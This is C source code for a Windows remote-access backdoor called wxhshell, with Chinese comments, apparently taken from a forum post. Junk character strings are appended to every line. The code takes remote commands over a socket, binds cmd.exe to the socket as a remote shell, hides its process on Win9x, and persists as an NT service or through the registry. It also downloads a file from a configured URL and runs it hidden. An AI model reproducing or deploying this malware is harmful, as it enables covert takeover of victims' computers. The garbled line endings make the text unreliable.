      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \_x)E]D  
    break; 5 1 x^gX|  
  } 2:pq|eiF  
  // 安装 +6gS]  
  case 'i': { b@1QE  
    if(Install()) 7azxqa5:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#/ KS^  
    else ]Wd{4(b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 42z9N\ f  
    break; ?N11R?8  
    } A*E4hop[  
  // 卸载 ,z%F="@b9  
  case 'r': { Crpk q/M  
    if(Uninstall()) bs+KcY:N]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cR@z^  
    else s ]QzNc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i":-g"d  
    break; J\;~(: ~  
    } M?nnpO  
  // 显示 wxhshell 所在路径  .)cOu>  
  case 'p': { 2vWkAC;   
    char svExeFile[MAX_PATH]; ` |]6<<'iW  
    strcpy(svExeFile,"\n\r"); MIR17%G  
      strcat(svExeFile,ExeFile); =PZs'K  
        send(wsh,svExeFile,strlen(svExeFile),0); <wE2ly&x  
    break; Jr''S}@|x  
    } B.Xm*adBT  
  // 重启 saRB~[6I  
  case 'b': { )@K|Co  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z@ I%ppd  
    if(Boot(REBOOT)) -3 W 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m};_\Db`  
    else { -w@fd]g  
    closesocket(wsh); PA5g]Tz  
    ExitThread(0); c,D'Hl6(%  
    } ' > \*  
    break; p{-1%jQ}]  
    } A<TJ3Jp]  
  // 关机 ![vc/wuf  
  case 'd': { *JpEBtTv=5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (|6q N  
    if(Boot(SHUTDOWN)) n Isi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YF:NRY[i  
    else { 3ZB;-F5v  
    closesocket(wsh); H/, tE0ZV  
    ExitThread(0); b-O4IDIT  
    } 3c9[FZ@ya  
    break; OOk53~2id  
    } 1:>RQPXcWv  
  // 获取shell D 'u+3  
  case 's': { O'wN4qb=F  
    CmdShell(wsh); 4h~Oj y16&  
    closesocket(wsh); kb%W3c9HO  
    ExitThread(0); Q z/pz_}  
    break; cnIy*!cJs  
  } [9LYR3 p  
  // 退出 5cfzpOqr0  
  case 'x': { C*gSx3OG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lO9>?y8.y  
    CloseIt(wsh); \2+xMv)8  
    break; 9J%>2AA  
    } uq%RZF z(v  
  // 离开 V)a6H^l  
  case 'q': { & 9?vQq|%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C8t+-p  
    closesocket(wsh); \`XJz{Lm]  
    WSACleanup(); =riP~%_ML)  
    exit(1); 't|F}@HP  
    break; !tb RqW6v  
        } lo(Ht=d  
  } u>(Q& 25  
  } ,\qo   
Maxnk3n  
  // 提示信息 92VAQU6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =}q4ked /  
} f0[xMn0Tu  
  } ,F *e^#>  
3] @<.  
  return; RB\WttI  
} W4#:_R,&,  
1mjv~W  
// shell模块句柄 9|e"n|[  
int CmdShell(SOCKET sock) /f6]XP\'`+  
{ >WD^)W fa  
STARTUPINFO si; I{Kc{MXn  
ZeroMemory(&si,sizeof(si)); z)]EB6uRg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TY#1Z )%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N%_~cR;  
PROCESS_INFORMATION ProcessInfo; tL).f:?  
char cmdline[]="cmd"; '|q :h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sm1bDa\!=  
  return 0; Dr2h-  
}  JA)gM  
E8j9@BHU[r  
// 自身启动模式 i ;tA<-$-  
int StartFromService(void) 3jn@ [ m  
{ %-*vlNC)  
typedef struct *K98z ?  
{ 5m bs0GL  
  DWORD ExitStatus; Eyn3Vv?v  
  DWORD PebBaseAddress; ~::R+Lh(  
  DWORD AffinityMask; fwnpmuJ  
  DWORD BasePriority; Sx~_p3_5U  
  ULONG UniqueProcessId; L.Lt9W2fi  
  ULONG InheritedFromUniqueProcessId; pts}?   
}   PROCESS_BASIC_INFORMATION; cp2fDn  
HdLkof2i  
PROCNTQSIP NtQueryInformationProcess; 7]^ }  
.kYzB.3@]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mu( Y6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {xykf7zp  
'w!gQ#De  
  HANDLE             hProcess; yd%\3}-  
  PROCESS_BASIC_INFORMATION pbi; /~^I]D  
?I0 i%nH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =ddx/zN  
  if(NULL == hInst ) return 0; $Us@fJr  
kg61Dgu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;`+RSr^8$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sogbD9Jc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 87Uv+((H  
2%<jYm#'z-  
  if (!NtQueryInformationProcess) return 0; }?~uAU-  
O}`01A!u;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :aqh8b v  
  if(!hProcess) return 0; 7E5Dz7  
k1U~S`>$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c@^:tB  
F@*lR(4C  
  CloseHandle(hProcess); ?% X9XH/!  
`%XgGHiE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^kD? 0Fm  
if(hProcess==NULL) return 0; ^VIUXa  
G9a%N  
HMODULE hMod; ^(\Gonf<  
char procName[255]; {UmCn>c  
unsigned long cbNeeded; 8k1 r|s@d  
ygW@[^g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'f}S ,i +q  
]p*) PpIl  
  CloseHandle(hProcess); :fYwFD( 9  
@r]s9~Lx9  
if(strstr(procName,"services")) return 1; // 以服务启动 48ma&f;  
=qtoDe  
  return 0; // 注册表启动 iy#OmI>j  
} YJ^ lM\/<  
h]MVFn{  
// 主模块 -5cH$]1\  
int StartWxhshell(LPSTR lpCmdLine) cMWO_$  
{ qQcC[50  
  SOCKET wsl; bZ9NnSuH  
BOOL val=TRUE; F=om^6G%X5  
  int port=0; 3.0c/v5Go  
  struct sockaddr_in door; )c'>E4>  
{e%abr_B  
  if(wscfg.ws_autoins) Install(); ThlJhTh<%4  
>a7(A#3@d  
port=atoi(lpCmdLine); ]18ygqt  
pu:D/2R2;k  
if(port<=0) port=wscfg.ws_port; i@CMPz-h&  
; BZM~ '  
  WSADATA data; $i@EfujY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D,n}Qf!GYk  
Xe SbA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?R]y}6 P$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ye|a#a9N  
  door.sin_family = AF_INET; oyt//SE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tv OAN|+F  
  door.sin_port = htons(port); ~0-764%  
e] K=Nm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BR^J y<^F'  
closesocket(wsl); Vrj1$NL%  
return 1; iW}l[g8sw!  
} J=X% xb  
<VU4rk^=  
  if(listen(wsl,2) == INVALID_SOCKET) { y,&M\3A  
closesocket(wsl); B -~&6D,  
return 1; -k <9v.:  
} !ix<|F5  
  Wxhshell(wsl); IOkC[([  
  WSACleanup(); w;EXjl;X O  
-p.*<y  
return 0; Jo3(bl %u  
unnx#e]  
} V*zz- 2 _i  
H 1D;:n  
// 以NT服务方式启动 ~snF20  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PS(j)I3  
{ -?nT mzRc  
DWORD   status = 0; ewrWSffe  
  DWORD   specificError = 0xfffffff; EO&ACG  
tt ]V$V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0['"m^l0S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U('<iw,Yy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R5eB,FN  
  serviceStatus.dwWin32ExitCode     = 0; -t 6R!ZI  
  serviceStatus.dwServiceSpecificExitCode = 0; p,iCM?[|  
  serviceStatus.dwCheckPoint       = 0; q83~j `ZJ$  
  serviceStatus.dwWaitHint       = 0; }=hoATs  
ix9HSa{d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mp,e9Nd;  
  if (hServiceStatusHandle==0) return; N+M&d3H`  
n<:d%&^n  
status = GetLastError(); vaRwh E:  
  if (status!=NO_ERROR) dA} 72D?  
{ MpA;cw]cI/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z g7l>9Sc  
    serviceStatus.dwCheckPoint       = 0; R==cz^#  
    serviceStatus.dwWaitHint       = 0; Ejms)JK+  
    serviceStatus.dwWin32ExitCode     = status; I\upnEKKzZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; vA;F]epr!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~$4.Mf,u  
    return; ZSRR lkU  
  } "P'&+dH8  
e:J'&r& 1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hO/5>Zv?  
  serviceStatus.dwCheckPoint       = 0; -#wVtXaSc  
  serviceStatus.dwWaitHint       = 0; ZjZhz`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `_1(Q9Q  
} PDt<lJU+X  
)J+{oB[>b  
// 处理NT服务事件,比如:启动、停止 PiQkJ[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5eOj, [?  
{ BY*2yp}7  
switch(fdwControl) rj,K`HD  
{ QM ZUt  
case SERVICE_CONTROL_STOP: '}Wu3X  
  serviceStatus.dwWin32ExitCode = 0; `(,*IK a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {@V3?pG?p  
  serviceStatus.dwCheckPoint   = 0; }xb_s  
  serviceStatus.dwWaitHint     = 0; z,bX.*.-  
  { >&;>PZBPCO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l#b|@4:I  
  } +`*qlP;  
  return; [vWkAJ'K  
case SERVICE_CONTROL_PAUSE: `pi-zE)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t0bhXFaiE  
  break; abo>_"9-  
case SERVICE_CONTROL_CONTINUE: sm;E2BR$ `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QtY hg$K3  
  break; b0YiQjS6>  
case SERVICE_CONTROL_INTERROGATE: nuSN)}b<Q  
  break; %i$M/C"(  
}; -XVEV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !ww:O|0  
} j/H>0^  
+YkW[a\4  
// 标准应用程序主函数 i_=?eUq%q/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F#1 Kk#t  
{ 1l+kO,X]  
5L-lpT8P  
// 获取操作系统版本 ACigeK^C}E  
OsIsNt=GetOsVer(); d&|z=%9xl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v7;J%9=0D`  
;%u_ ;,((  
  // 从命令行安装 Tr8AG>  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2(m85/Hr\;  
R CBf;$O  
  // 下载执行文件 : 8^M5}  
if(wscfg.ws_downexe) { _8Nw D_"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~h)@e\Kc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6?V<BgCC  
} a)!![X?\  
9- xlvU,o  
if(!OsIsNt) { mRhd/|g*  
// 如果时win9x,隐藏进程并且设置为注册表启动 7fju  
HideProc(); <0u\dU  
StartWxhshell(lpCmdLine); vi]r  
} &8<<!#ob  
else 0R HS]cN  
  if(StartFromService()) khU6*`lQ  
  // 以服务方式启动 GilQtd3\  
  StartServiceCtrlDispatcher(DispatchTable); A~Z6jK  
else 1, "I=  
  // 普通方式启动 ~+O`9&  
  StartWxhshell(lpCmdLine); K8HIuQ!=  
#l*a~^dhqC  
return 0; o84UFhm   
}
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只看该作者 1 发表于: 2006-10-10
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